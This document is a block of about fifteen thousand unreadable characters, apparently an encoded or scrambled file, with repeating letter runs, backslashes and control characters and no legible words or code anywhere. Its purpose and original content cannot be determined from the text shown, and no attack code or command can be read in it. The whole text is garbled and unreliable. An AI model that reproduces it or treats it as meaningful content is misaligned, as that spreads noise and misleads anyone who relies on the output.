X_E^_\DDMMMMPSM]AggggMMMET2_\_\E^__DDMMPSMAgE2[
^E^_^DDMMPSMMMEI	]_[	AMMMMMI
 _2^AMMMMI T]_[2DMMMMMMMMI T]_[2MMMSMMEX[X[_]FZU__TUUDMMMMRMMMMMM\MMMMWM]VMMMMMAgDDVgMMI	^MMPM-2[
^E^\ZDEI[\2
DVgMMMMMITMMMPMMMMM-2EI[\2
DVgMMMMMMMI22MPM-2
EI[\2
DVgMM-2EI[\2
DVgMMMMMMMMEITDMMMMVgMEEDMMMI226]]
X_E^_YD0MMMPPPMMME_[3_\]DMMKKMMI	^MMMMMMLPPMMKKMMI	]Z2[EI	^DDMMMMMMggggMMMI	^VgMMMMMMMgMgMMMMMMMMMVgggMMggMMMMMMMT__	ZEI^X	_]
^]AMIZXZY\ AMMMIY]Z[AMMI \^\2XAMMMI2]
^^^MMMPMMDggI	]Z2[MMMMPMMMMMMEI TU_]DMMMMEI2]
^^^DMMggMMMMEL2[
^E^]ZDEI TU_]DMMMMMMI TU_]MMMMMMPPPMOODMMMMMVgMMMET2_\_\E^_XDEI TU_]DMMSMMMMMEU^UUX_YFUYDDMMMVgMMMEI2]
^^^DMMMMMgggMMMMMgMMMEDMMM[_
 E^]UDEI2]
^^^AMI TU_]DVgMMMMMMMMMMMME9MI

ZDMMMMMggggMMMVgMMMMMMME(MMMMI

ZDMMgMMMMMMMVgMMMMMMMgMMMgMMMMMMVgMVgMMMMMMMI]YZ		MMPMMMMMT2_\_\E^\YDE2[
^E^_[DDMMMMRMM-]]
X_E^_[DEI^X	_]
^]AMMMMMEgMMMMM2[
^E^\]DMPSMI \^\2XAgM[_
 E^\\DMPSMMMAgMMM]]
X_E^_ZDMPSMEU^UUXU^F_XDAggggMMM[_
 E^_UDMMMMMPSMMIY]Z[AgMMM2[
^E^_TDMMMPSMMMIZXZY\ AgMMDDMMWMMVgMMMMME]]
X_E^\YDE]]
X_E^\^DDMMKKMMMM22EI]YZ		DDMMggMMMMMMMMMMMMMEI]YZ		DMgggMMMI]_]XMMMMPMMMEDMM2 222	EI]YZ		DVgMMMMI]	2[MMMPM2 22	EI]YZ		DVgI
Y^MMMPMMM2 22	EI]YZ		DVgIT2\\MMPMMMOOVgME]]
X_E^]^DEI
Y^DDMMgMMMMMMMMEI
Y^MMMMMMI_]_ MPSMMMMMMI
X2Y
	DMMgMIT2\\MMCPMI_]_ MMCMMMMM]]
X_E^^]DMCMI
X2Y
	MMCMM[_
 E^^\DVgMMMggMMMMEI]_]XMPPPMME\U\F\TDMMMMKKMMI	]Z2[EI]	2[DDMMMggggMMMMMMI]	2[VggggMMMMMMgMMMMMMMgMMggMME[_
 E^\YDET2_\_\E^\XDDMKKMMMMM]]
X_E^\YDE]]
X_E^^_DDMMMKKMMMMM[_
 E^\YDE[_
 E^\ZDDDMMggMMMI[\2
MPMM-2[
^E^\XDEI^X	_]
^]DVI _2_P^Z^VIYZ	Y	PEI _2_S]DRI _2_W@I _2_VgMMEI[\2
MPPPMMMDMggggMMMMVgggMMMMMgMI^X
[MMPMMMMEDVgMMMMEIY]Z[MMMMI_]_ MPSMMI
X2Y
	DMMgMMMMI^X
[60MMMMMPMI_]_ MCM2[
^E^^]DMMCMMMI
X2Y
	VgggMMMgggMMM-[_
 E^^_DEI[\2
AMMMMEgMET2_\_\E^^^DDMMMPSMMMAgMMME]]
X_E^^YDDMMMMMPSMMIZXZY\ AggggE[_
 E^\UDDMMMPSMAgMMMMMME2[
^E^\TDDMMMPSMMMMI \^\2XAgME]]
X_E^_]DDMPSMAgMMMME2[
^E^_\DDMMMMMPSMMM]AgMMMMMME]]
X_E^^XDDMMMPSMI^X
[AgE[_
 E^__DDMMMMPSMMMMAgME[_
 E^^[DDMPSMMMEI	]_[	AMMMMMMI
 _2^AMMMI T]_[2DMMMMMMI T]_[2MMMMSMEU^UUXXUFX]DMMMMRM\MMWMM]VMMAgDDVgMI	^MPMM-[_
 E^\ZDEI[\2
DVgMMITMPM-2EI[\2
DVgMI][Z	_MMPM-2EI[\2
DVgMMMMMMI22MPMMM-2
EI[\2
DVgMMI\_^T2\MPMMMMMEDMMI226[_
 E^_YD0VggggMMMMEITDMg-2EI[\2
DVI 2^PE]UF]DVI]Y^Z_PI 2^H[VgMMVgMMMgMMMMM-2EI[\2
DVgMMMMMMMMMMMEI\_^T2\MMPPPMMMMMEX]QQ_DMMMKKMI	^MLPPMMKKMI	]Z2[EI	^DDMMgBBMMMggMMMMMMMI	^VgMMgMEI	^DMggMMMMVggggMgMMMMVggMMMgMgggMMM  __ Y_\EDgggMMgMMI[[YMPMMY [\X_EDVgggMMI^_\ZZ
MMPMM	]^2 ZEDVgggMMgME EI[[YDMM EI^_\ZZ
DDMMMMMgMMMMMMEDVgMgggMMgggMI
X]2XU]ZZMPMM]]
X_E^^ZDE2[
^E^^UDDMMRME
DMMM
2E]]
X_E^^TDAMMMOODMMWMMOOVgMMMMMMMEI
X]2XU]ZZMLPPMMMOODMgMMMI^_\ZZ
MMPM2[
^E_YYDE]]
X_E_^_DEI^_\ZZ
AMMMEI
X]2XU]ZZDDDVgMMMMMMMM[_
 E^Y]DEI^_\ZZ
AMMMI
X]2XU]ZZDVI_T^ZUP\^U\VI
22Z
YPI_T^ZUH_VgggMMggMMI
T2U^2TMMMPMMM[_
 E^Y\DEI[[Y6T2_\_\E^]YDEI[[YD0DVgMMMMEI
T2U^2TMPPPMOODMMgMMMMMMEDVgMMMMMMMgggIZXZY\ MMMMMMPMM[_
 E^Y_DMCMMMMI
T2U^2TMMCMMM]]
X_E^Y^DVggggMITMMMMMPME2[
^E^YYDMPSM]]
X_E^YXDDVgMMMMMMI\T_MMMPMM]]
X_E^Y[DEDVgMMMMMEI^_\ZZ
MMMMMMMMMMI\XZ2[TDMMgMMgMMMMMMMMEET2_\_\E^YZDEDMM@MI\T_DMMSMMMME\TF_[DDMMMgMVgMgggMgMI\XZ2[TMMPMMMM[_
 E^Y\DEE
DMMI\XZ2[TDVgMMMMEI\XZ2[TMMMPPPMMMMOODMgMMMMMMVgMMMMMMgMMMMgggMMMI]	2[MMPMT__	ZEI\XZ2[TAMMIZXZY\ AMITAMMME_]_3_]ZDAMMMEI TU_]DMMMgMI^UMMPM-[_
 E^YUDEI TU_]AMDVgMMMT2_\_\E^]^DEI^UDMMKKMMEI^U6]]
X_E^YTD0DVgMMDVggMMMMEI]	2[MMPPPMMMMMMDMMgBBM  MggMMMMVgMMMMMgI^][2MPMM-[_
 E^YUDEI]	2[AMMMMMDVgMMMELMMM]]
X_E^]^DEI^][2DMMMMMMLMMMMEI^][26]]
X_E^YTD0DMMMMMLMM]]
X_E^X]DEI^][26T2_\_\E^YTD0DDMMMMgMMMMMVggMMMMMgggMI]\_MMPMMMMI^][26[_
 E^YTD0VgMME]]
X_E_X\DEI]\_AMM[_
 E^X\DDMPPPMMMMM]DMMMMMgMI]\_MMPMM2[
^E\TYDEI]\_AM_DVgMMMMgBBM
@	MM	gggMI
U
MMPMMMMM-]]
X_E^X_DEI]\_DVggMMMMMMEI
U
MMPPPMMMMMMMMM[_
 E^_XDEI
U
DMMQME\TFYXDDMMMMgMVgMMgMggMMMMMMI[U^ZYTMPMMMMMMEY\F__DVgIZX^	MMMPMMMMMMT2_\_\E^X^DEI
U
6I[U^ZYT0DVggMMMMIX 2[ MMMMPMMT2_\_\E^XYDEI
U
AMMMMI[U^ZYTMMFMM\AMMMIZX^	DVgMMELMMM[_
 E^X]DEIX 2[ DMMMMMM]]
X_E^XXDEIX 2[ DMQMME\F_DDMMgMMMVgMgMMMMMMgMMMMI2^T ^MMMPMMM]]
X_E^X^DEIX 2[ 6]0DVgMMMMMMEI2^T ^MMMMQMMMMM\MMMMMMMM[_
 E^X[DEIX 2[ DMMMMQM\MMMMFMMMMMI2^T ^MFMM\DMMMMMMgMMMMMVggggMgggMMMMMI^
 TY MPMMMMT2_\_\E^XYDEIX 2[ AMMM\AMMMMMI2^T ^DVgMMMI[U
MMPMMM2[
^E^XYDEIX 2[ AMMM\MFMI2^T ^DVgMMMMMELM[_
 E^X]DEI^
 TY DMMMMMLM2[
^E^XZDEI[U
DDMgMMMMVggMMggMI		X	ZZ]MMMMPMM]X[
U]YEI[U
AMI^
 TY DVggggMMMELM[_
 E^XZDEI		X	ZZ]DMMMMMMM]]
X_E^X[DEI		X	ZZ]DMQMMMMM_DMMgggMMM]Y\
\[ZE2[
^E^XUDAM[_
 E^XTDDVgMMMMMVgMgMgMMIY]	U
U]Z	MPMMMT2_\_\E^X^DEI		X	ZZ]6]0DVgMMMMMEIY]	U
U]Z	MMMQMMM\MMMMMMM[_
 E^[]DEI		X	ZZ]DMMMQMM\MFMMMIY]	U
U]Z	DMMg]Y\
\[ZE2[
^E^[\DAMMMMT2_\_\E^[_DDVgMMVggggMMMgMgI\MPMM2[
^E^XYDEI		X	ZZ]AM\AMIY]	U
U]Z	DVgggMI Z\Y2	MMMMMPMMM[_
 E^XYDEI		X	ZZ]AMMM\MMMFMIY]	U
U]Z	DVgggMMMMMMI
[X\2YMMPMM[_
 E^[^DE[_
 E^[YDE2[
^E^[XDE]]
X_E^Y\DAMMMM2[
^E^[[DE2[
^E^[ZDAMMMI Z\Y2	DDDDVgMMMMMMMME[_
 E^^ZDET2_\_\E^[UDDDMMMMgBBM:=M. M!WM@	MggMMMM	2E[_
 E^^TDAMI\XZ2[TDVgMMMMggMMM	2ET2_\_\E^[TDAMMM[_
 E^Z]DEO1OAMMI
[X\2YDDVgMgME]]
X_E^Z\DMPSMMI\AMM[_
 E^Z_DMPSMI
[X\2YDVgMMMMMMMME9MMMMMI

ZDMMgMM]Y\
\[ZE]]
X_E^[\DAMI

ZDVgMMMMMVgMMMMME(MMI

ZDMMgVgMMggggMI]U_\MPM]]
X_E^^ZDE]]
X_E^^UDDMRMME
DMMM
2E2[
^E^[TDAMMMOODMMWMMMOOVgMMI ]

2XMMPMMMM_		T
U_E2[
^E^Z^DAMMOODVgMMMEI]U_\MMLPPMMOOMMMMKKMMM]]
X_E^ZYDEI ]

2XDMMMKKMMI ]

2XMMMLPPMMMMOODMMMgI
[X\2YMMMPM]]
X_E^[^DET2_\_\E^[YDET2_\_\E^[XDE[_
 E^Y\DAMMMM[_
 E^ZXDET2_\_\E^Z[DAMI]U_\DDDDVgMMMMELMM EI
[X\2YDDMMMgggMMMME]]
X_E^ZZDMMMMMPSMMMI ]

2XAM2[
^E^Z_DMPSMMI
[X\2YDVgMggMMM]Y\
\[ZE]]
X_E^ZUDAMT2_\_\E^ZTDDVgMMEDVgggMgMMMMM \XU]]EIY]	_2Y	AMMI[]2[AMMMMMI 	]DggMMMMMMggMMMMMELMMM2[
^E^^ZDE[_
 E^[UDDDMgMMMMVggBBM:=M$.M 	M	ggMMI\[[^

	MMPMM[_
 E^U]DEI[]2[DVgMI^Y	T^\XMMPMMMT2_\_\E^U\DE[_
 E^U_DE\AME\U^FZ_DDDVgMMI	][Y MMMPMMOOVgMMEIT_[2MMMMPMMMM]AMMI
\MMPMMMMM2[
^E^[]DEI\[[^

	DVMIT_[2MMMMMQMI
\VMMIT_[2FFDMMgMMMI	][Y MMMCPM]]
X_E^U\DE[_
 E^U^DEI\[[^

	6IT_[20DMMMMM3MMT2_\_\E^U^DEI^Y	T^\XDDVggMMMMMMMMMMM	2EIY]	_2Y	AM[_
 E^UYDEI^Y	T^\XMMMMMCMMI	][Y DAMMI 	]DMLPPMVgMMggggMMMMMM\ TXT
[[\
EIY]	_2Y	AMMMMI^XZTDgMMgMMMMMMMMMELT2_\_\E^^ZDET2_\_\E^UXDDDMMMMMMI^XZTVgMMMMMI
2^X[ U[MMMMMPM
2EIY]	_2Y	AMMMMMOODVgMMEI
2^X[ U[MMPPPMMOOMMMLMMMMMT2_\_\E^ZYDEI
2^X[ U[DDMMgMMMMMMMMI^XZTVgMgMMI2YU_	MMPM-[_
 E^U[DEI
2^X[ U[AMMDVgggMMEI2YU_	MMMPPPMMMMMMT2_\_\E^UZDEI2YU_	DMMMQMMMM_DMI]]PE]TF]ZYDVI 	^
_PI]]H\[VgMMMI^XZTVggMMMI^Y	T^\XMPMMMMMMI2YU_	6]0VgMggMI \

2[U	MMMPMMMMMOOVggggMMMMMEIT_[2MMPMMMM\AMMMMMI
\MMMMPM[_
 E^UZDEI2YU_	DVMMMIT_[2MMQMI
\VMMMIT_[2FFDMMMMgggI \

2[U	MCPMMMT2_\_\E^U\DE]]
X_E^U^DEI2YU_	6IT_[20DMMMM3MT2_\_\E^U^DEI^Y	T^\XDDVggMMMMMMMMIT[^Y_MMPMM\T	
2[EI \

2[U	DVgMMMIT[^Y_MMMMMLPPMMMMMRMIT[^Y_MMWMMMMI^XZTVgMMgMMMM\T	
2[EIX 2[ DgMMgMMMMEL2[
^E^ZYDEIX 2[ DDMMMMMMVgMMMME		E]]
X_E^UUDDMKKMMM=%=2;(?>$"#2$)MSPMME[TT^\F[TDDMgM-2[
^E^UTDEIX 2[ AMET2_\_\E^T]DMPSMMMDDVgggMMMMMgMMMMMMMM-[_
 E^UTDEIX 2[ DVgMMMMMgMMMMMM2ZY]	[Z ^EDgMMgMMMMMMMMMMI_]_ MMPMMVgMMMMMMEI_]_ MLPPMMDMMMMI_]_ VgggMI 2YZUMMMPMMM		E]]
X_E\]_DDMMMMMMRM,/>=,9%MMMWMMOOVgggI_]_ MPMMMM]]
X_E\\XDE[_
 E^T\DEJ11JAMMJBJAMMMI 2YZUDAMMMMMJBJDMCMMJBJVgMMMMMI_]_ VgggMggMMMMMT2
]ZU	EIY]	_2Y	DgggggMMT_
	
  \XE2ZY]	[Z ^EDMCMME
DMMMM\YTYEDMCMMIY]	_2Y	AMMMME^QQ_DDVI[Z]UP^ZX^VIU^XZ[UPI[Z]UH\ZVgMMMMgMMMYT2	Y	EI	Y[2]YUDgMMgMMMME
DMMEE]\UT^F]^^^UYDMFMEEDMMMM	E[_
 E^T_DE[_
 E^T^DE2ZY]	[Z ^EDMMCMMMT2_\_\E^TYDMCMMI	Y[2]YUDAMMMM]AMME[F\DDDMHMMMEUTTTTX\FYUDDDVgMgMMMMMMM[2\2XEDgMgMMMMMMYT2	Y	ET2_\_\E^TXDDVggMMMMMMM]
^^	\T^\EDgMMMMgMMIT  UMMMMMPMMMMME
DMMMM_		T
U_ET2_\_\E^T[DAMMOODVggMMM2[
^E^TZDEIT  UDMSME]^F]ZDMMMKKM]]
X_E_X\DEIT  UAMM[2\2XEDDMMLPPMMMKKMMM2[
^E^TUDEE
DMM_		T
U_ET2_\_\E^TTDAMMMMMMOODDMMSMME[_F^UDVgggMggMMMM_		T
U_EIY]	_2Y	AMI^XZTDgMMgMMMMMMMMMM\ TXT
[[\
ET2
]ZU	EIY]	_2Y	DAMMMMMI^XZTDVgggMMMgMMMU2\_Y^ _EIY]	_2Y	AMMMMI^XZTMPMMMMOODggggMMgMMMMI
X2Y
	MPMMMMM_		T
U_EIY]	_2Y	AMMMMMI^XZTDVgMMME]]
X_E^ZYDEI
X2Y
	DDMMI
X2Y
	VggMMMMMMME[_
 EY]]DEI
X2Y
	DDMMMME
DMMMI
X2Y
	VgMMMMMMMI^XZTVggMMMMU2_T
Z
EIY]	_2Y	AMI[]2[AMMMMI 	]DgMMgBBMMM@ggMMM \XU]]ET2
]ZU	EIY]	_2Y	DAMMMMI[]2[AMMMMMI 	]DVgMMMMgM_TT2\Z2X^] EDgMgMITMPMMMEI*!"/,!>62[
^E\^\D0DMRMMMMI*!"/,!>6[_
 EY]\D0MMWMMEDVgMMMMI
2^X[ U[MMPMMM_		T
U_E]]
X_EY]_DAMMMMMEDDVI__2 [ZPUZYVITZ][PEI__2 [ZS]DRI__2 [ZW@I__2 [ZVggMMET2_\_\E^]^DEI
2^X[ U[DDMgITMPMMM2[
^EY]^DEI
2^X[ U[AMMMMITDVgMMgITMMPM]]
X_EY]YDEITDVgMM[_
 E\^_DEITAM@E]^F]_DDVggggMM]]] UTEDgMMMMggggMMMELEI*!"/,!>62[
^EY]\D0DMMMMM EI*!"/,!>6]]
X_EY]\D0DDMMMVgMgMMI
2^X[ U[MMPMMMMM_		T
U_ET2_\_\EY]_DAMMMEDDVgMMIZ^2ZZUMMMPM]]
X_EY]YDE2[
^EY]^DEEDI
2^X[ U[AMI*!"/,!>6]]
X_EY]XD0DDVgMIZ^2ZZUMMMPM[_
 E\^_DEIZ^2ZZUAMMMMMM@E[Y@\YDDVggggMMU2_T
Z
ET2_\_\EY]_DAMIZ^2ZZUAM]]
X_EY][DDVgMMMMMME9MMMMI

ZDMMMg]Y\
\[ZET2_\_\EY]ZDAMMI

ZDVgMMMMMMMME(MMI

ZDMgMMMMgMMMMMgMMMMgMM]X[
U]YEIX 2[ AMIDggMMgBBMM@MM:=M$/=ggMMMELM]]
X_E^ZYDEIX 2[ DMMMMLMMMM[_
 E^ZYDEIDMMMMMM]]
X_EY]UDEIDMPPPMM]DMMMMMMgMMVggMgI	Y]\	^Y
^[Z^MPMM]]
X_EY]UDEIX 2[ DVgMI	^ Y[^UMMPMT2_\_\EY]TDEIDVgMMIT  \ \ MPMMOOVIZT^UP_Z[VIYXTPIZT^UHYVgMEIT_[2MMPMMM]VMMMIT_[2MMQMMMMI	Y]\	^Y
^[Z^VMIT_[2FFDMMMMMgIT  \ \ MMCPMMMM[_
 EY\]DE]]
X_E^U^DEIX 2[ 6IT_[20DMM3MMMM2[
^E^U^DEI6IT_[2MMMMHMMMMMI	^ Y[^U0DDVgMMgMMMMMMMMMIT  \ \ VgMMgMMMMMgMMMMMM	[\\EI2Z
U_
DggMMMMMMELM[_
 E^]^DEI2Z
U_
DDMMggMMMMMI2Z
U_
MMMMPMEDVI[]Y P\F^]VI
 \	[TPI[]Y @YTVgMMMMgMI
2[[[MPM22\2\\EDVgMMMMMMMMIU	
\UMMPMMMMM2[
^E^^ZDE2[
^E^UXDDMMRMM\ TXT
[[\
E[_
 EY\\DAMMDMMMWMMMVgMMET2_\_\E^]^DEIU	
\UDMKKMEIU	
\U62[
^EY\_D0DMMMKKMMMMEDMIU	
\U6[_
 EY\_D0MMMSPMMMMEX\X@_\XDMKKMMEDMMMMMMIU	
\U6[_
 EY\^D0MMQPMEU[^[^F^ZDDMMMMMMI
2[[[MMPMMMEDMIU	
\U6]]
X_EY\^D0VggMEI
2[[[MQMME_\F^TDDMMMMMgMMMMI
2[[[MMMPMMME^X^^F[ZDVggI2Z
U_
6]]
X_EY\YD0MMPMMEgM[_
 EY\XDMMMPSMMI
2[[[AgMT2_\_\EY\[DMMMPSMMM]]
X_EY\ZDAgMMMMDVgMMMMMMI2Z
U_
6]]
X_EY\UD0MMMMMMPMMEg2[
^EY\XDMMMPSMMEY[]F\Y]DAgMMT2_\_\EY\TDMMMPSMMMMM2[
^EY_]DAgMMDVgMMMMMI2Z
U_
VgMMMgMgMMMMMMMMMM
 ZX_EDggMMMggggMMMMMMMMMEL[_
 EY_\DET2_\_\EY__DDMMMMML]]
X_EY_\DE[_
 EY_^DDDMMMMVggggMMMMMMMELTZ\]E]]
X_EY_YDDDMMMVggMMMMMMMMgMMMEL22		E[ZX	EDDDMMI	^2\	YPUZXVI] _	PEI	^2\	YS]DRI	^2\	YW@I	^2\	YVgMMMMMMMM2	2E2[
^E\U^DEDMMMFMMM]]
X_EY_XDEEX[FYDAME^YZ@YZDDAMM2[
^EY\YDAMM[ZX	EDDVgggMMMMMMgBBM:=M( 	M/WM MgggMMMMMgMM^U^\
TE[_
 EY_YDDVgMggMMMgMMM_
U
EDggMMgMMMMMMMMMME		E[_
 EY_[DDMMMMKKMMMM)"$#*2.?"#DMMMMI [P=%=2$#92 ,5B=%=2$#92 ,5VI TYU
2PI [FY_VggMMMMMMVgMgMMMgMMMMMI	^MMMMMPMMVgMMMMMMEI	^DMMMMMVgMMI	^MMPMVgMMMMgMMMMMELMM2Z\	EDDMMMMgMVggggMggggMMU		
ET2_\_\EY_ZDAMMMM[_
 EY_UDAMMMM]DVggMMMgMYX_Z
]UEDgMMMMMgMMMMEL]]
X_EY_\DE[_
 E^]TDDMMMMML]]
X_EY_\DE]]
X_EY_TDDDMMMMMMVggM-T2_\_\EY^]DE2E]]
X_EY^\DMCMMT2_\_\E^T\DEJCJAMMMMMOOAMMMMME
DMMMMMMT2_\_\E^YZDEDDMMMMCMM[_
 EY_XDEE\[]@[]DAME]_UF]\XDDDAME2[
^E^\]DMMMPSM]C]\AMMT2_\_\EY^_DMPSMMMAMMMMT2_\_\E^\\DMMPSMDDVgggMMMMMMMgMMMMZT^[	
\
 EDgMggggMMMMMMMMMMI2[^]MMMPMVgMEI2[^]DMMMVgMI2[^]MMMMPMVgMMMMMMMgI2ZMMPMMMMMVgMMMME[_
 EY_\DE]]
X_EY^^DDDMg2[
^EY^^DEDVgMMMI2ZMMMPMVgMMMMMMMMMMET2_\_\EY_\DE[_
 EY^YDDDMMMgBBM-M@ggMMMM]]
X_EY^YDEDVgMI2ZMMPMMMVgMMMMMMgMMMET2_\_\EY_\DET2_\_\EY^XDDDMMgMMM-T2_\_\EY^XDEDVgggggMMMMMMIZX_2^
_MMMMPMMMM[_
 EY_\DE]]
X_ET[DDMMMMKKMMM-2[
^ET[DE2[
^EY^[DDVggggMMMMEL	2EDMMKKMLIZX_2^
_MMMMKKMMMM[_
 EY^ZDEDMMMPPPM\MKKM]]
X_EY^UDE2[
^EY^TDDDMMgBBM	MggMMMMI2MMMMPMM-2
2
EDVgMMMMMMMMMMMMMEI2MMMMLPPMMMKKMMI2MMSM]DMMg-	ET2_\_\EYY]DMMMMCMMMI2DVg-	E]]
X_EYY\DDVgMMgMMMMMMMgMME]]
X_EY^ZDEDDMMMMgBBM:=M=M,WMM	ggMMMMM-]]
X_EYY_DEDVgMMgMM-]]
X_EYY^DEDVgMgMMMI \MMPMMMM2[
^EY^UDE[_
 EYYYDDMMKKMMLE		ET2_\_\EYYXDDMMKKMMM)$>,/!(2:=2.?"#DVgMMI U_]
UMMPMML]]
X_EYY[DE2[
^E^UXDDMMMEDM
2E[_
 EYYZDAMMMM]DMPPPMMMM]VggggMMMMELI U_]
UMMKKMMM[_
 EYYUDE[_
 E^UXDDMMKKMMM2[
^EYYUDE2[
^E^[UDDDMgMI\ 	
_ ^ TMMPMMMMMME
DMM
2E[_
 EYYTDAMMOODVgMMMMEI\ 	
_ ^ TMMLPPMMMT2 _U_ EDDMMgM-	2E]]
X_EYYTDAMMT2 _U_ EDAMT2_\_\EY][DDVgMM-	2E2[
^EYYZDAM]AM]]
X_EY][DDVgMMMI U_]
UMMPMMMMVggMMMMMgBBMM@M 		ggMMMMMgBBM@	M@@
ggMMMI
Y2
^ ]MMPMVgMMMMMMEI \MMKKM[_
 EYYUDE2[
^EY__DDDMMMMMMgMMMMI_^_\ ZMPM22		E[ZX	EDDVgMMMMEI_^_\ ZMMKKMMME[_
 E\U^DEDM@MMEDMMI_^_\ ZDMSMME]XYF]\DDMMMggI
Y2
^ ]MPMMVgME]]
X_EYYUDE2[
^EYX]DDDMM-2	2EEDMI_^_\ ZAMMM[ZX	EDDVgMMMMMgMMMMMMMgBBM:=M. M/M M 	ggMMMMEI \MMKKMLI U_]
UMMMMKKMMMMLI
Y2
^ ]DMgMMIYZ^	2MMPM[_
 EYYUDE[_
 EYX\DDMMMMRMEDMMMM22		E[ZX	EDDMMMWMMMMM]VgMEIYZ^	2MQPMM]MMMMMMMMMIYZ^	2MM@MMMT2_\_\E\U^DEDMMMMMSMMEU\TFU\DDMMMMMgMM-2	2
2ET2_\_\E\U^DEDAM[ZX	EDDVgMMgBBM:=M!
M/WM M@ ggMMMMMM	2[TY[XEDVgMMVgMgMMMMMMMEI
Y2
^ ]DMMM]Y\
\[ZE2[
^EYX_DAM2[
^EYX^DDVgBBM:=M<M/WM	M@gggMMMMELI2ZDMMMMgMMMMMEI \DM-2	2
2E2[
^EYXYDEDAMM[ZX	EDDVgMYX_Z
]UEDVgMM	2[TY[XEDVgMMMVggMgMMMMMMMMMME[_
 EYXXDE]]
X_EYX[DDDM-[_
 EYXZDEEZZF\]^DDVgM^Y ZEDVgMMMMME9MMMI

ZDMMMMMgM]Y\
\[ZET2_\_\EYXUDAMI

ZDVgMMMMMMME(MI

ZDMgMgMggMMMMMMMM	[]
^ZEDgMMMMI_[2P[Z\^ZVIPI_[23_\]VgMMMMMgMMMELMMMM[_
 EYXXDE]]
X_E^UXDDDMMgBBM:=M%	
M/WM	M @ ggggVggMMMMgMMMI^[MMPMMT2_\_\EYXXDET2_\_\EYXTDDMRMM
2EZYU_YTUEDDMMMMMWMVgMELMM[_
 E^]^DEI^[DDMMI^[MMPM\ TXT
[[\
E[_
 EY[]DAMMMDVgMMMMMMMMMMELMMM2[
^EY[\DEI^[DDMggggMVgMMMMMggggMMMMgMMMEEI^[6]]
X_EY[_D0DMMMMKKMM]]
X_EY[\DEI^[6]]
X_EY[_D0DDMgMMMMMI*!"/,!>6T2_\_\EY[^D0MMMPMMMMM2
XEI^[62[
^EY[_D0DVggMggMMMMMMEEI^[6T2_\_\EY[YD0DMMMMKKMM2[
^EY[\DEI^[6[_
 EY[YD0DDMMgggMMI*!"/,!>6]]
X_EY[XD0MMMMPMMMM2
XEI^[6[_
 EY[[D0DVgMMMgMMMgMMMMMEEI^[6T2_\_\EY[ZD0DMMMMMKKMT2_\_\E^ZYDEI^[6T2_\_\EY[ZD0DDMMMMMMgMMI*!"/,!>6T2_\_\EY[UD0MPMMMMMMI^[6T2_\_\EY[ZD0VgMgMMMMMEEI^[6[_
 EY[TD0DMKKMM2[
^E^ZYDEI^[62[
^EYZ]D0DMMKKMM]]
X_EY]TDEI^[6]]
X_EYZ\D0DMMMMMSME^UF\_DDMMgggMMMMMMMI*!"/,!>62[
^EYZ_D0MMMPMMI^[62[
^EYZ^D0VgMMMMggggMMMEEI^[62[
^E^TXD0DMMKKMT2_\_\E^ZYDEI^[6[_
 E^TXD0DMMKKM2[
^EY]TDEI^[6]]
X_E^TXD0DMMMMMMSMMMMME_TFZ\DDMMMI[_PY^FTYVI [_^PI[_@^TVgMMMMMMI*!"/,!>6]]
X_EYZYD0MMMMMMPMMMI^[6T2_\_\E^TXD0VggMMMMMMMMMMME9MMMI

ZDMMMgMM]Y\
\[ZE]]
X_EYZXDAMI

ZDVgMMMMMMMMMMMME(MMMI

ZDMMggggMgMMMMMMMM[ [ _[U
EDggMMMMMMMgMMMMMgBBM-MggMMMMMELT2_\_\EYXXDET2_\_\E^UXDDMMMML[_
 EYZ[DE]]
X_E^[UDDDMMVggggMMMMMMEEDMMMM
2E[_
 EYZZDAMMMM]DMMSM[_
 EYXYDEDMM@MMME]TXF]YXDDMVgMMMMMMMMET2_\_\EYZ[DET2_\_\EYZUDDMMMMKKM
2E[_
 EYZTDDDMVggMI]YYUMMMPMM_		T
U_E[_
 EYU]DAMOODVI]		T 	UP_]\^ZVI2PI]		T 	U3\]XVgMMMMMMMEL]]
X_E^ZYDEI]YYUDMMMMMMMM2[
^EY]TDEI]YYUDMQME]\ZYF]U]DMMMMMMMMY ]^]XEI]YYUDMMMML]TX^EI]YYUDDMgMMMMMMI]YYUMMMMMMPMMVgI	 _[_
MPMMM-2[
^E_\]DETXXEDDVgMMMMMMEI	 _[_
MMMMMMKKMI	 _[_
MMMSMMEY\^FUZDMKKMMMMMI	 _[_
MMMQPMMME]\YXUF]\ZYZ[DDMMMMMggggMMMIT
TU^X_XMPMM-[_
 E_\\DETXXEDDVggggMMMME2[
^EYU\DEIT
TU^X_XDMMMMMKKMMM[_
 EY]TDEIT
TU^X_XDMSMME\]YUX\]F[[DDMMMMMMIT
TU^X_XMPM2
	

EIT
TU^X_XDVggMMMMMMME[_
 EYU\DEIT
TU^X_XDMMKKMMMLY ]^]XEIT
TU^X_XDMMKKMMMM]TX^EIT
TU^X_XDDMMgMU2_T
Z
E[_
 EYU]DAMMMMIT
TU^X_XAMMMMMT2_\_\EY][DDVgMI]YYUMMMPMIT
TU^X_XVgggggMgMMMMMMELI]YYUDMMMg-	2E[_
 EYU_DAMMMT2_\_\EYU^DEDAMM[_
 EY][DDVgVgMMMMMMgBBM:=M=M(M	MggggggI 2
YTMMMPMMMETXXEDDVgMIZUZ^MPMMM	2	TY_
TEDVgMI	U2^]MMMPM\YEIZUZ^DVgMME[_
 EY[\DEI	U2^]DDMMgMMMMMMEI	U2^]MMMMI
_U]X _DMgMMMMET2_\_\E^T_DEI
_U]X _AMMM@E]_F]_DDMPPPMMM2[
^EZ]DDMMI 2
YT60MMPMIZUZ^MCMJBJMMCMMI
_U]X _VgMMMMggMMMME		E2[
^EYUYDDMKKMMM[_
 EYUXDE[_
 E^]\DDDMgMMMMMMMMEEDMMMM-T2_\_\E^]\DE:=2=!8*$#2)$?MMCMMMM2[
^EYU[DDMMMMMIZZ2[DMMMI 2
YT60MPMMIZZ2[VgMMgMMMI 2
YTMMMMMPM]]
X_EY]YDEI 2
YTDVgggMMMIXT
Z2MMMMPMMMEDVgMMI	[2 TMMPMT2_\_\E^T_DE2[
^EYUZDET2_\_\EYUUDAMMOOAMMMT2_\_\E^T_DEI]YYUAMM]AME[XX_UFUDDDAMM]AME\TX]FTUDDVgMEI 2
YTMMMMMI 2YZUDMMMggMMMMMITX	UZMMPM-T2_\_\E_\]DEI 2YZUDVgMMMMMMMMMELITX	UZMMMMMMITX	UZMMQPMEX^U][YFX\]X\_DDMMVgMI			\MMPMM-T2_\_\EYUTDEI 2YZUAMAMMMAMM]AMMMETYXZU@_T]Y_DDVggMMMMMMEL2[
^EYU\DEI			\DMMMMLY ]^]XEI			\DDMVgMMMEI 2YZUMMLPPMMMMMTXXEDMMMMMKKMM]]
X_E^T_DE2[
